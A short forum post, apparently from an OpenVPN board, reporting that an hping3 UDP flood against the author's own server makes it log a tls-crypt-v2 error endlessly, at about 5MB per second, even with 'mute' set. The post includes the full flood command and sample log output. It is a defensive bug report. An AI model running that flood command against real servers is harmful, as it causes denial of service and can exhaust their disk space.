Serious potential safety hazard

Post by aes256ctr » Wed Mar 01, 2023 2:52 am

If I use the following command to launch a penetration test on the openvpn server, the server will print endless logs

Code: Select all

hping3 -c 10000 -d 60 -S --udp -p 1194 --flood XXX.XXX.XXX.XXX
The server will print the following log repeatedly:

Code: Select all

2023-03-01 10:38:05 Control Channel: using tls-crypt-v2 key
2023-03-01 10:38:05 Can not locate tls-crypt-v2 client key
2023-03-01 10:38:05 TLS Error: can not extract tls-crypt-v2 client key from [AF_INET]XX.XX.XX.XX:7902

Although I later used the mute parameter, it didn't work
The log file increases by 5MB per second, which is very scary
